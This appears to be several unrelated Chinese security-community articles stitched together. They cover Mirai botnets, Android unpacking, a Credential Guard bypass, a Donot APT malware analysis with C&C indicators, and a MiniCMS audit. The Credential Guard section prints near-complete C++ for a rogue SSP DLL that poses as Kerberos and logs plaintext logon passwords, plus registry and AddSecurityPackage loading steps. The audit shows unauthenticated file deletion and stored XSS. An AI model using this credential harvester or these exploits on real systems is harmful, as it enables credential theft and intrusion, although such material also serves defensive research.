jflow，Netstream等）接入到设备中，从而提供对DDoS攻击流量的检测、分类和跟踪。
流量遥测用于识别发起物联网攻击的设备的IP地址和所使用的攻击类型。如果攻击者正在发起非欺骗性DDoS攻击，则可以使用NETSCOUT Arbor APS /
TMS上的黑白名单来禁止发起IOT攻击的设备IP地址。
除了能够快速检测、分类、追溯和缓解由这些物联网僵尸网络发起的DDoS攻击之外，NETSCOUT Arbor SP /
TMS的最新版本还提供了额外的增强功能，其可提供更高水平的自动化和配置。
## 结论
将Mirai作为框架，僵尸网络开发者可以快速添加新的攻击和功能，从而大大缩短僵尸网络的开发时间。Mirai源不仅限于DDoS攻击，Satori的变种就被发现用于[攻击以太坊采矿客户](https://asert.arbornetworks.com/omg-mirai-minions-are-wicked/#footnote)。从上面介绍的四个样本可以看出，僵尸网络作者已经在使用Mirai源码作为其构建模块。由于物联网设备的爆炸式增长并未放缓，我们相信我们将继续看到物联网僵尸网络的增长，我们很可能会在未来的僵尸网络中看到Mirai的新变种。
恶意软件攻击者将继续以自动化方式利用针对IoT的恶意软件，通过类似蠕虫的传播、网络代理功能和面向互联网设备中的漏洞的自动化利用，来快速增大僵尸网络的规模。组织机构必须应用适当的补丁、更新和DDoS缓解策略来保护其自身。 | 社区文章 |
本文章原作者 非虫，文章来源网站[Mottoin](http://www.mottoin.com/89035.html)
#### 目录
**简述（脱壳前学习的知识、壳的历史、脱壳方法）**
* 第一代壳
* 第二代壳
* 第三代壳
* 第N代壳
**简述**
* Apk文件结构
* Dex文件结构
* 壳史
* 壳的识别
== Apk文件结构 ==
==
Dex文件结构 ==
### 壳史
**第一代壳 Dex加密**
1. Dex字符串加密
2. 资源加密
3. 对抗反编译
4. 反调试
5. 自定义DexClassLoader
**第二代壳 Dex抽取与So加固**
1. 对抗第一代壳常见的脱壳法
2. Dex Method代码抽取到外部（通常企业版）
3. Dex动态加载
4. So加
**第三代壳 Dex动态解密与So混淆**
1. Dex Method代码动态解密**
2. So代码膨胀混淆
3. 对抗之前出现的所有脱壳法
**第四代壳 arm vmp（未来）**
1. vmp
### 壳的识别
1.用加固厂商特征：
* 娜迦： libchaosvmp.so , libddog.solibfdog.so
* 爱加密：libexec.so, libexecmain.so
* 梆梆： libsecexe.so, libsecmain.so , libDexHelper.so
* 360：libprotectClass.so, libjiagu.so
* 通付盾：libegis.so
* 网秦：libnqshield.so *百度：libbaiduprotect.so
2.基于特征的识别代码
#### 第一代壳
1. 内存Dump法
2. 文件监视法
3. Hook法
4. 定制系统
5. 动态调试法
**内存Dump法**
* 内存中寻找dex.035或者dex.036
* /proc/xxx/maps中查找后，手动Dump
* android-unpacker https://github.com/strazzere/android-unpacker
* drizzleDumper https://github.com/DrizzleRisk/drizzleDumper
* 升级版的android-unpacker，read和lseek64代替pread，匹配dex代替匹配odex
**文件监视法**
* Dex优化生成odex
* inotifywait-for-Android https://github.com/mkttanabe/inotifywait-for-Android
* 监视文件变化
* notifywait-for-Android https://github.com/mkttanabe/inotifywait-for-Android
* 监视DexOpt输出
Hook法
* Hook dvmDexFileOpenPartial
* http://androidxref.com/4.4_r1/xref/dalvik/vm/DvmDex.cpp
**定制系统**
* 修改安卓源码并刷机
* DumpApk https://github.com/CvvT/DumpApk
* 只针对部分壳
**动态调试法**
* IDA Pro
* gdb gcore法
.gdbserver :1234 –attach pid
.gdb
(gdb) target remote :1234
(gdb) gcore
coredump文件中搜索“dex.035”
#### 第二代壳
1. 内存重组法
2. Hook法
3. 动态调试
4. 定制系统
5. 静态脱壳机
**内存重组法**
**Dex篇**
ZjDroid http://bbs.pediy.com/showthread.php?t=190494
对付一切内存中完整的dex，包括壳与动态加载的jar
**so篇**
elfrebuild
构造soinfo，然后对其进行重建
**Hook法**
针对无代码抽取且Hook dvmDexFileOpenPartial失败
Hook dexFileParse
http://androidxref.com/4.4_r1/xref/dalvik/vm/DvmDex.cpp
https://github.com/WooyunDota/DumpDex
针对无代码抽取且Hook dexFileParse失败
Hook memcmp
http://androidxref.com/4.4_r1/xref/dalvik/vm/DvmDex.cpp
**定制系统**
修改安卓源码并刷机－针对无抽取代码
https://github.com/bunnyblue/DexExtractor
Hook dexfileParse
DexHunter-最强大的二代壳脱壳工具
https://github.com/zyq8709/DexHunter
DexHunter的工作流程：
DexHunter的工作原理：
绕过三进程反调试
http://bbs.pediy.com/showthread.php?p=1439627
修改系统源码后：
http://www.cnblogs.com/lvcha/p/3903669.html
ls /proc/345/task
./gdbserver :1234 --attach346
...
(gdb) gcore
gcore防Dump解决方案：
http://bbs.pediy.com/showthread.php?t=198995
断点mmap调试，针对Hook dexFileParse无效
原理： dexopt优化时， dvmContinueOptimization()->mmap()
**静态脱壳机**
分析壳so逻辑并还原加密算法
http://www.cnblogs.com/2014asm/p/4924342.html
自定义linker脱so壳
https://github.com/devilogic/udog
main() -> dump_file()
#### 第三代壳
1. dex2oat法
2. 定制系统
**dex2oat法**
ART模式下，dex2oat生成oat时，内存中的DEX是完整的
http://bbs.pediy.com/showthread.php?t=210532
**定制系统**
Hook Dalvik_dalvik_system_DexFile_defineClassNative
枚举所有DexClassDef，对所有的class，调用dvmDefineClass进行强制加载
#### 第N代壳
1. so + vmp
2. 动态调试 ＋ 人肉还原
来源链接：http://www.mottoin.com/89035.html
* * * | 社区文章 |
## 0\. 背景
为了避免攻击者转储用户的凭据信息，从 Windows 10 1507 企业版和 Windows Server 2016 开始，微软引入了 Windows
Defender Credential Guard 安全控制机制，其使用基于虚拟化的安全性来隔离机密，依次保护 NTLM 密码哈希、Kerberos TGT
票据和应用程序存储为域凭据的凭据来防止凭据盗窃、哈希传递或票据传递等攻击。
在 Windows 10 之前，LSA 将操作系统所使用的密码存储在其进程内存中。启用 Windows Defender Credential Guard
后，操作系统中的 LSA 进程与存储和保护这些密钥的新组件（称为隔离的 LSA 进程，Isolated LSA Process）进行通信。 独立 LSA
进程存储的数据使用基于虚拟化的安全性进行保护，操作系统的其余部分无法访问。 LSA 使用远程过程调用来与隔离的 LSA 进程进行通信。
下图简要概述了如何使用基于虚拟化的安全性来隔离 LSA：
> Source：[How Credential Guard works](https://learn.microsoft.com/en-> us/windows/security/identity-protection/credential-guard/credential-guard-> how-it-works)
如果我们在启用了 Credential Guard 的系统上尝试使用 Mimikatz 从 LSASS 进程内存中提取凭证，我们会观察到以下结果。
如上图所示，我们无法从 LSASS 内存中提取任何凭据，NTLM 哈希处显示的是 “LSA Isolated Data:
NtlmHash”。并且，即便已经通过修改注册表启用了 Wdigest，也依然获取不到任何明凭据。
为了进行比较，下图所示为不受 Credential Guard 保护的系统上的输出。
从 Windows 11 Enterprise, Version 22H2 和 Windows 11 Education, Version 22H
开始，兼容系统默认已启用 Windows Defender Credential Guard。
## 1\. 基础知识
### 1.1 自定义安全包
自定义安全包 API
支持组合开发自定义安全支持提供程序（SSP），后者为客户端/服务器应用程序提供非交互身份验证服务和安全消息交换，以及开发自定义身份验证包，为执行交互式身份验证的应用程序提供服务。这些服务在单个包中合并时称为安全支持提供程序/身份验证包（SSP/AP）。
SSP/AP 中部署的安全包与 LSA 完全集成。使用可用于自定义安全包的 LSA 支持函数，开发人员可以实现高级安全功能，例如令牌创建、
补充凭据支持和直通身份验证。
如果我们自定义安全支持提供程序/身份验证包（SSP/AP），并将其注册到系统，当用户重新进行交互式身份验证时，系统就会同通过我们自定义的 SSP/AP
传递明文凭据，这意味着我们可以提取到明文凭据并将其保存下来。这样便可以绕过 Credential Guard 的保护机制。
SSP/AP
安全包，为了同时执行身份验证包（AP）和安全支持提供程序（SSP），可以作为操作系统的一部分以及作为用户应用程序的一部分执行。这两种执行模式分别称为 LSA
模式和用户模式。这里我们需要的是 LSA 模式。
下面简单介绍一下关于 LSA 模式的初始化。
### 1.2 LSA 模式初始化
启动计算机系统后，本地安全机构（LSA）会自动将所有已注册的安全支持提供程序/身份验证包（SSP/AP）的 DLL
加载到其进程空间中，下图显示了初始化过程。
> “Kerberos” 表示 Microsoft Kerberos SSP/AP，“My SSP/AP” 表示包含两个自定义安全包的自定义 SSP/AP。
启动时，LSA 调用每个 SSP/AP 中的 [SpLsaModeInitialize()](https://learn.microsoft.com/zh-cn/windows/desktop/api/Ntsecpkg/nc-ntsecpkg-splsamodeinitializefn) 函数，以获取指向
DLL 中每个安全包实现的函数的指针，函数指针以
[SECPKG_FUNCTION_TABLE](https://learn.microsoft.com/zh-cn/windows/desktop/api/Ntsecpkg/ns-ntsecpkg-secpkg_function_table) 结构数组的形式传递给
LSA。
收到一组 [SECPKG_FUNCTION_TABLE](https://learn.microsoft.com/zh-cn/windows/desktop/api/Ntsecpkg/ns-ntsecpkg-secpkg_function_table) 结构后，LSA
将调用每个安全包的 [SpInitialize()](https://learn.microsoft.com/zh-cn/windows/desktop/api/Ntsecpkg/nc-ntsecpkg-spinitializefn) 函数。LSA
使用此函数调用传递给每个安全包一个 [LSA_SECPKG_FUNCTION_TABLE](https://learn.microsoft.com/zh-cn/windows/desktop/api/Ntsecpkg/ns-ntsecpkg-lsa_secpkg_function_table)
结构，其中包含指向安全包调用的 LSA 函数的指针。除了存储指向 LSA 支持函数的指针外，自定义安全包还应使用
[SpInitialize()](https://learn.microsoft.com/zh-cn/windows/desktop/api/Ntsecpkg/nc-ntsecpkg-spinitializefn)
函数的实现来执行任何与初始化相关的处理。
在这里，我们的 SSP/AP 安全包需要实现下表中所示的几个函数。
由 SSP/AP 实现的函数 | 说明
---|---
SpInitialize | 执行初始化处理，并提供一个函数指针列表。
SpShutDown | 在卸载 SSP/AP 之前执行所需的任何清理。
SpGetInfo | 提供有关安全包的一般信息，例如其名称、描述和功能。
SpAcceptCredentials | 将为经过身份验证的安全主体存储的凭据传递给安全包。
### 1.3 由 SSP/AP 实现的函数
以下函数由我们自定义的安全支持提供程序/身份验证包（SSP/AP）实现，本地安全机构（LSA）通过使用 SSP/AP 的
SpLsaModeInitialize 函数提供的 `SECPKG_FUNCTION_TABLE` 结构来访问这些函数。
#### SpInitialize
SpInitialize 函数由本地安全机构（LSA）调用一次，用于执行任何与初始化相关的处理，并提供一个函数指针列表，其中包含安全包调用的 LSA
函数的指针。
函数声明如下：
NTSTATUS Spinitializefn(
[in] ULONG_PTR PackageId,
[in] PSECPKG_PARAMETERS Parameters,
[in] PLSA_SECPKG_FUNCTION_TABLE FunctionTable
);
参数如下：
* [in] PackageId：LSA 分配给每个安全包的唯一标识符。该值在重新启动系统之前有效。
* [in] Parameters：指向包含主域和计算机状态信息的 `SECPKG_PARAMETERS` 结构的指针。
* [in] FunctionTable：指向可以安全包调用的 LSA 函数的指针列表。
#### SpShutDown
SpShutDown 函数在卸载安全支持提供程序/身份验证包 (SSP/AP) 之前，由本地安全机构（LSA）调用，用于在卸载 SSP/AP
之前执行所需的任何清理，以便释放资源。
函数声明如下：
NTSTATUS SpShutDown(void);
这个函数没有参数。
#### SpGetInfo
SpGetInfo 函数提供有关安全包的一般信息，例如其名称和功能描述。客户端调用安全支持提供程序接口（SSPI）的
QuerySecurityPackageInfo 函数时，将调用 SpGetInfo 函数。
函数声明如下：
NTSTATUS Spgetinfofn(
[out] PSecPkgInfo PackageInfo
);
参数如下：
* [out] PackageInfo：指向由本地安全机构（LSA）分配的 SecPkgInfo 结构的指针，必须由包填充。
#### SpAcceptCredentials
SpAcceptCredentials 函数由本地安全机构（LSA）调用，以将为经过身份验证的安全主体存储的任何凭据传递给安全包。为 LSA
存储的每组凭据调用一次此函数。
函数声明如下：
NTSTATUS Spacceptcredentialsfn(
[in] SECURITY_LOGON_TYPE LogonType,
[in] PUNICODE_STRING AccountName,
[in] PSECPKG_PRIMARY_CRED PrimaryCredentials,
[in] PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials
);
参数如下：
* [in] LogonType：指示登录类型的 `SECURITY_LOGON_TYPE` 值。
* [in] AccountName：指向存储登录帐户名称的 `UNICODE_STRING` 结构的指针。
* [in] PrimaryCredentials：指向包含登录凭据的 `SECPKG_PRIMARY_CRED` 结构的指针。
* [in] SupplementalCredentials：指向包含特定于包的补充凭据的 `ECPKG_SUPPLEMENTAL_CRED` 结构的指针。
## 2\. 编程实现
通过 C/C++ 创建一个名为 CustSSP 的 DLL 项目，实现自定义 SSP/AP 包。由于篇幅限制，笔者仅提供关键代码部分。
#include "pch.h"
static SECPKG_FUNCTION_TABLE SecPkgFunctionTable[] = {
{
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
_SpInitialize, _SpShutDown, _SpGetInfo, _SpAcceptCredentials,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL
}
};
NTSTATUS NTAPI _SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpShutDown(void)
{
return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpGetInfo(PSecPkgInfoW PackageInfo)
{
PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
PackageInfo->wVersion = 1;
PackageInfo->wRPCID = SECPKG_ID_NONE;
PackageInfo->cbMaxToken = 0;
PackageInfo->Name = (SEC_WCHAR*)L"Kerberos";
PackageInfo->Comment = (SEC_WCHAR*)L"Microsoft Kerberos V5.0";
return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
const wchar_t* LSA_LOGON_TYPE[] = {
L"UndefinedLogonType",
L"Unknown !",
L"Interactive",
L"Network",
L"Batch",
L"Service",
L"Proxy",
L"Unlock",
L"NetworkCleartext",
L"NewCredentials",
L"RemoteInteractive",
L"CachedInteractive",
L"CachedRemoteInteractive",
L"CachedUnlock",
};
FILE* logfile;
if (_wfopen_s(&logfile, L"CustSSP.log", L"a") == 0)
{
SspLog(
logfile,
L">>>>=================================================================\n"
L"[+] Authentication Id : %u:%u (%08x:%08x)\n"
L"[+] Logon Type : %s\n"
L"[+] User Name : %wZ\n"
L"[+] Domain : %wZ\n"
L"[+] Logon Server : %wZ\n"
L"[+] SID : %s\n"
L"[+] SSP Credential : \n"
L"\t* UserName : %wZ\n"
L"\t* Domain : %wZ\n"
L"\t* Password : ",
PrimaryCredentials->LogonId.HighPart,
PrimaryCredentials->LogonId.LowPart,
PrimaryCredentials->LogonId.HighPart,
PrimaryCredentials->LogonId.LowPart,
LSA_LOGON_TYPE[LogonType],
AccountName,
&PrimaryCredentials->DomainName,
&PrimaryCredentials->LogonServer,
SidToString(PrimaryCredentials->UserSid),
&PrimaryCredentials->DownlevelName,
&PrimaryCredentials->DomainName
);
SspLogPassword(logfile, &PrimaryCredentials->Password);
SspLog(logfile, L"\n");
fclose(logfile);
}
return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE* ppTables, PULONG pcTables)
{
*PackageVersion = SECPKG_INTERFACE_VERSION;
*ppTables = SecPkgFunctionTable;
*pcTables = ARRAYSIZE(SecPkgFunctionTable);
return STATUS_SUCCESS;
}
在 CustSSP 中，我们依次实现了 SpInitialize、SpShutDown、SpGetInfo 和 SpAcceptCredentials
函数，并定义了一个名为 `SecPkgFunctionTable` 的 `SECPKG_FUNCTION_TABLE` 结构，用于存储指向这些函数的指针。
之后，我们通过定义 .def 文件将 CustSSP 中定义的 `SpLsaModeInitialize`
函数导出，如下所示。该函数会被本地安全机构（LSA）调用一次，从而将 CustSSP 中实现的函数的指针提供给 LSA。
LIBRARY
EXPORTS
SpLsaModeInitialize = _SpLsaModeInitialize
## 3\. 运行效果演示
将编译生成的 CustSSP.dll 置于 C:\Windows\System32 目录中，并将 “CustSSP”
添加到以下注册表值的数据中，如下图所示。
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages
> 通常，SSP/AP DLL 存储在 %SystemRoot%/System32 目录中。如果这是自定义 SSP/AP DLL 的路径，则不包括路径作为
> DLL 名称的一部分。 但是，如果 DLL 位于其他路径中，请在名称中包含 DLL 的完整路径。
当目标主机重新启动并进行交互式身份验证后，将在 C:\Windows\System32\CustSSP.log 中记录当前登录用户的明文密码，如下图所示。
成功利用该方法的条件是必须重新启动目标系统。因此只有启动计算机系统后，本地安全机构（LSA）才会自动将已注册的 SSP/AP 的 DLL
加载到其进程空间中。
然而，利用某些 Windows API，我们可以在不重启的情况下添加 SSP/AP。
## 4\. 利用 AddSecurityPackage API 来加载 SSP/AP
AddSecurityPackage 是一个 SSPI 函数，用于将安全支持提供程序添加到提供程序列表中，该函数声明如下。
SECURITY_STATUS SEC_ENTRY AddSecurityPackageW(
[in] LPSTR pszPackageName,
[in] PSECURITY_PACKAGE_OPTIONS pOptions
);
参数如下：
* [in] pszPackageName：要添加的包的名称。
* [in] pOptions：指向 `SECURITY_PACKAGE_OPTIONS` 结构的指针，该结构指定有关安全包的其他信息。
通过 C/C++ 创建一个名为 AddSSP 的项目，其代码如下所示。
#define SECURITY_WIN32
#include <stdio.h>
#include <Windows.h>
#include <Security.h>
#pragma comment(lib,"Secur32.lib")
int wmain(int argc, char** argv) {
SECURITY_PACKAGE_OPTIONS option;
option.Size = sizeof(option);
option.Flags = 0;
option.Type = SECPKG_OPTIONS_TYPE_LSA;
option.SignatureSize = 0;
option.Signature = NULL;
// AddSecurityPackageW 默认在 System32 目录中搜索 CustSSP.dll
if (AddSecurityPackageW((LPWSTR)L"CustSSP", &option) == SEC_E_OK)
{
wprintf(L"[*] Add security package successfully\n");
}
}
编译并生成 AddSSP.exe 后，运行 AddSSP.exe 即可成功将 CustSSP.dll 添加到系统。需要注意的是，以上代码仅将 CustSSP
加载到 LSASS 进程中，系统重启后会失效，因此仍需将 “CustSSP” 添加到 Security Packages 注册表并将 CustSSP.dll
置于 C:\Windows\System32 目录中。
当用户输入用户名密码重新进行身份验证时，我们重新得到了他的明文密码，如下图所示。 | 社区文章 |
# Donot团伙（APT-C-35）移动端新攻击框架工具分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景介绍
肚脑虫(APT-C-35)，由奇安信高级威胁研究团队持续跟踪发现并命名，其主要针对巴基斯坦等南亚地区国家进行网络间谍活动的组织。该组织主要针对政府机构等领域进行攻击，其中以窃取敏感信息为主。
自第一次发现该组织的攻击活动以来，奇安信威胁情报中心对该组织一直保持着持续跟踪，近期发现了其包名为com.tencent.mm(微信包名)最新的移动样本，相比于之前发现的Donot(肚脑虫)移动端程序，此次发现的程序对其代码结构进行了调整，但其C&C和功能方面依然保持了之前Donot(肚脑虫)的风格。
同时在此期间也发现了在早期版本框架基础上修改的新样本，主要是对获取C&C的方式做了改变，其舍弃硬编码C&C方式，利用Google
Docs(谷歌在线文档编辑系统)的方式来灵活改变C&C信息。
## 诱饵分析
此次发现的名为”
SafeShareV67”的移动app使用了腾讯微信包名（com.tencent.mm），其通过使用正规app的包名来伪装自己，其真实意图还未可知。同时对其代码框架分析，发现此次结构调整非常大，也对部分功能代码进行了混淆。可以大致判定此样本是经过精心准备的。
并且发现该样本上传地印度:
## 一．样本分析
我们所分析的样本基本信息如下：
文件名称 | SafeShareV67.apk
---|---
软件名称 | Android Database Library
软件包名 | com.tencent.mm
MD5 | 7BB0B6EB3383BE5CEC4B2EABF273C7F9
安装图标 |
### 1.1 样本行为描述
该恶意样本名称为“Android Database
Library”（其包名为微信包名），通过伪装为Android数据库组件来诱骗用户安装使用，从而可以进一步实施恶意行为；样本运行后会弹出是否开启辅助功能设置框，并会隐藏自身图标，使用户放松警惕，从而达到保护自身的目的；恶意样本在用户手机运行后，会定时从固定服务端获取远程控制指令，从而实现不同的恶意功能，其相关的远控操作有：获取用户手机通话记录信息、获取用户手机通讯录信息、获取用户手机短信息、获取App输入的内容信息、获取外置存储卡文件列表信息、获取用户手机已安装软件列表等；恶意软件会将获取的用户信息保存在本地文件夹下，并上传至服务器。
### 1.2 样本基本信息
样本安装图标：
运行界面：
#### 1.2.1 样本申请权限列表
### 1.3 详细分析过程
#### 1.3.1 诱骗用户运行并误导用户此程序为正常程序
通过伪装为Android数据库组件来诱导用户点击”OK”，同时跳转到系统的辅助功能界面，然后在后台运行程序。这样操作能误导用户认为此程序是一个android组件程序。
#### 1.3.2 隐藏图标保护自身
样本运行以后则会隐藏删除自身图标，使用户放松警惕，从而达到保护自身的目的。
#### 1.3.3 根据服务端下发的控制指令，进行相关的恶意操作
恶意样本在手机中运行后，会定时从服务端获取远程控制指令，从而实现不同的恶意功能，其相关的远控操作有：获取用户手机通话记录信息、获取用户手机通讯录信息、获取用户手机短信息、获取App输入的内容信息、获取外置存储卡文件列表信息、获取用户手机已安装软件列表等；恶意软件会将获取的用户信息保存在本地文件夹下，并上传至服务器。
1）定时从服务器中获取远控指令信息：
2）对指令信息进行解析并下发对应的指令操作：
3）相关的指令操作：
指令 | 指令功能
---|---
Call | 获取用户手机通话记录信息
CT | 获取用户手机通讯录信息
SMS | 获取用户手机短信息
Key | 获取App输入的内容信息
Tree | 获取外置存储卡文件列表信息
AC | 获取Account信息
Net | 获取WiFi、设备厂商等信息
CR | 设置用户手机电话通话录音
LR | 设定特定时间段录音
FS | 文件上传开关
GP | 获取地理位置信息
PK | 获取用户手机已安装软件列表
CE | 获取日历事件信息
Wapp | 获取whatsapp聊天信息
指令Call：获取用户手机通话记录信息
指令CT：获取手机通讯录信息
指令SMS：获取用户手机短信息
指令Key：获取App输入的内容信息
指令Tree：获取外置存储卡文件列表信息
指令AC：获取Account信息
指令Net：获取WiFi、设备厂商等信息
指令CR：设置用户手机电话通话录音
指令LR：设定特定时间段录音
指令FS：文件上传开关
指令GP：获取地理位置信息
指令PK：获取用户手机已安装软件列表
指令CE：获取日历事件信息
指令Wapp：获取whatsapp聊天信息
## 二．老框架新方式
近期奇安信红雨滴团队捕获到了Donot（肚脑虫）移动样本在老框架上利用Google
Docs(谷歌在线文档编辑系统)的方式来获取C&C信息，此方法能更灵活的改变C&C信息。同时奇安信红雨滴团队在第一时间对其利用方式进行了披露：
样本信息：
文件名称 | 1278a5f65fc0c4a3babffcf1117db1c0.apk
---|---
软件名称 | Sikh Net
软件包名 | com.system.android.sikhnet
MD5 | 1278A5F65FC0C4A3BABFFCF1117DB1C0
安装图标 |
其样本的代码框架沿用了最早期的版本，如下图所示：
其主要在获取C&C的方式进行了改变，早期样本都是直接硬编码C&C信息，而新捕获到的样本利用Google
Docs(谷歌在线文档编辑系统)的方式来获取C&C信息，这样就能灵活修改C&C信息。此种方式获取C&C信息，是Donot家族系列中首次使用。
最新获取C&C方式:
早期的硬编码写入C&C方式：
使用浏览器访问https://docs.google.com/uc?id=0B1RDq_Zx683GbDVBTmpWbFFuaDg后，则会提示保存file.txt的文件。
下载file.txt后，发现其保存了其真实的远控服务器信息(151.236.11.222:50240)。
## 三．工具演进
近期捕获的Donot（肚脑虫）样本与之前的历史框架进行比对发现，其框架在近期做了较大的调整。同时在最新发现的样本中，发现其在早期版本中利用Google
Docs(谷歌在线文档编辑系统)的方式来获取C&C信息。
代码对比：
早期版本：
演变版本：
新版本：
## 总结
从本次捕获到的Donot（肚脑虫，APT-C-35）APT样本来看，该APT团伙依然以巴基斯坦相关人士作为首要攻击目标。通过其对代码框架的改变及在老版本利用Google
Docs的方式来看，或许近期将发起新一波的网络间谍活动。
奇安信威胁情报中心红雨滴团队将继续关注Donot APT组织的最新进展。
## IOC
MD5：
7BB0B6EB3383BE5CEC4B2EABF273C7F9
103CFBC4F61DD642F9F44B8248545831
1278A5F65FC0C4A3BABFFCF1117DB1C0
## C&C
whynotworkonit.top
genwar.drivethrough.top
151.236.11.222:50240 | 社区文章 |
下载Install.php 安装上 这个cms竟然没有数据库
先去看了一下文件的功能
文件功能列表 <https://www.4hou.com/technology/19138.html>
│ build.php
│ index.php 整个项目的入口，首先引入核心库mc-core.php，然后进行路由，对路由结果进行相应的渲染，相当于MVC中的C
│ install.txt 复制为php文件后，用来安装MiniCMS
│ README.md
│
├─mc-admin 管理功能的实现
│ conf.php 用户设置页面，包括接收和保存更改的设置
│ editor.php 编辑器的大小、样式调整的库
│ foot.php html<foot>标签构造
│ head.php token验证，html<head>标签构造；若验证失败，跳转至主页
│ index.php 后台登陆身份验证页面
│ page-edit.php 页面编写处理逻辑，包括显示编辑页面、接收提交的页面、页面序列化储存
│ page.php 管理页面的库，声明加载数据、删除页面、还原页面（从回收站还原）
│ post-edit.php 文章编写处理逻辑，包括显示编辑页面、接收提交的页面、页面序列化储存
│ post.php 管理文章的库，声明加载数据、删除文章、还原文章（从回收站还原）
│ style.css 后台用到的CSS
│
└─mc-files
│ markdown.php 一个开源的markdown解析库
│ mc-conf.php 配置文件，包含用户名和密码等敏感信息
│ mc-core.php 引入mc-tags、mc-conf，声明404函数
│ mc-rss.php 订购RSS的链接
│ mc-tags.php 相当于M，引入markdown、包括一些核心函数，包括了加载各种信息的函数（网站名、文章数、前进后退等，中间有各种过滤，可以重点分析）
│
├─pages
│ └─index
│ delete.php 使用数组储存了删除页面的信息（id、标题、标签等）与data文件夹内的文章数据一一对应
│ draft.php 使用数组储存了草稿页面的信息（id、标题、标签等）与data文件夹内的文章数据一一对应
│ publish.php 使用数组储存了已发布的页面的信息（id、标题、标签等）与data文件夹内的文章数据一一对应
│
├─posts
│ ├─data 储存了文章内容的反序列化数据（文章内容等）
│ └─index
│ delete.php 使用数组储存了删除的文章的信息（id、标题、标签等）与data文件夹内的文章数据一一对应
│ draft.php 使用数组储存了草稿文章的信息（id、标题、标签等）与data文件夹内的文章数据一一对应
│ publish.php 使用数组储存了已发布文章的信息（id、标题、标签等）与data文件夹内的文章数据一一对应
│
└─theme
index.php 主题文件，决定了页面的风格，将C传入的信息显示出来，相当于V
style.css 主题使用的CSS风格
安装后访问，首页就只显示了三个功能 还包括一个首页
大体看了一下index.php，这里的Index.php就相当于C(控制路由)，大体的逻辑
先是根据url后面?后的内容，判断$mc_get_type
再根据$mc_get_type 返回指定的内容
## XSS1
登陆界面 这里面貌似有xss
mc-admin/index.php
<form action="<?php echo $_SERVER['REQUEST_URI']; ?>" method="post">
直接输出，有点像xss
试了半天没试出来 我的火狐把<给urlencode postman也不行
看别的师傅说 用IE能弹窗 但是我经过测试也不能弹窗
去看了一下 登陆的验证过程
一种是通过cookie验证，
还有一种是账号密码验证，通过后设置cookie
## 垂直越权
刚开始以为越权漏洞是 把 普通用户的账号当作admin的账号，后来发现，普通用户执行admin的操作也是越权
post页面有编辑 删除 恢复等操作 这就是了解文件结构的作用 根据文件的作用 就能找到常见漏洞
在Post.php的52行 有一处删除文件
unlink('../mc-files/posts/data/'.$id.'.dat');
回溯变量
if ($state != 'delete') {
$index_file2 = '../mc-files/posts/index/delete.php';
require $index_file2;
$mc_posts[$id] = $post;
file_put_contents($index_file2, "<?php\n\$mc_posts=".var_export($mc_posts, true)."\n?>");
} else {
unlink('../mc-files/posts/data/'.$id.'.dat');
}
$state=delete就可以绕过if判断
$state变量在load_posts函数处被赋值
else if ($_GET['state'] == 'delete'){
$state = 'delete';
$index_file = '../mc-files/posts/index/delete.php';
}
赋值之后，在就没有变化
再去看$id变量
$id变量是从ids种哪来的，ids是GET传过来的 可控
if (isset($_GET['delete']) || (isset($_GET['apply']) && $_GET['apply'] == 'delete')) {
if (isset($_GET['apply']) && $_GET['apply'] == 'delete') {
$ids = explode(',', $_GET['ids']);
foreach ($ids as $id) {
if (trim($id) == '')
continue;
delete_post($id);
load_posts();
}
} else {
delete_post($_GET['delete']);
}
试一下 访问post.php 结果是302
很有可能是没登陆，所以重定向了，但是代码看到这里，没有发现有验证的地方，再往下看看
在188行处
<?php require 'head.php' ?>
<script type="text/javascript">
function check_all(name)
{
var el = document.getElementsByTagName('input');
var len = el.length;
for(var i=0; i<len; i++) {
if((el[i].type=="checkbox") && (el[i].name==name)) {
el[i].checked = true;
}
}
}
在head.php中
if (isset($_COOKIE['mc_token'])) {
$token = $_COOKIE['mc_token'];
if ($token != md5($mc_config['user_name'].'_'.$mc_config['user_pass'])) {
Header("Location:index.php");
exit;
}
} else {
Header("Location:index.php");
exit;
}
这里对cookie进行了检查
因为我没登陆，所以就302了
但是不影响我们删文件，因为验证在删除的后边
测试
data目录下的文件已经没了
## XSS2
xss大部分是在输入的地方产生的，根据功能来，不去看代码，找到可以输入的地方
统计一下
发布文章那里有三个 分别是 标题 内容 标签
设置 里面有评论代码
### title
在管理页面 也就是post.php页面 同样会出现发布的内容，看一下
这里也被转义了
### content
内容这里存在xss
弹窗
### tag
也转义了 不能打
### 设置处
同样设置这里 变量输出时都进行了转义不能弹窗
去源码里看一下后台是怎样处理数据的
编辑页面在post-edit.php
require 'head.php';
这里开头就包含了head.php，不存在越权
下面对content进行了处理
if (isset($_POST['_IS_POST_BACK_'])) {
$post_id = $_POST['id'];
$post_state = $_POST['state'];
$post_title = trim($_POST['title']);
$post_content = get_magic_quotes_gpc() ? stripslashes(trim($_POST['content'])) : trim($_POST['content']);
$post_tags = explode(',', trim($_POST['tags']));
$post_date = date("Y-m-d");
$post_time = date("H:i:s");
$post_can_comment = $_POST['can_comment'];
get_magic_quotes_gpc 获得当前magic_quotes_gpc的配置选项设置
stripslashes函数 返回以剥离反斜杠\的字符串
在这里就等同于没处理 也没有过滤函数 对xss没防御措施
标题 在前端的输出哪里进行了一次转义操作 这是在草稿箱哪里进行的转义，但是在存储的过程中并没有进行转义操作
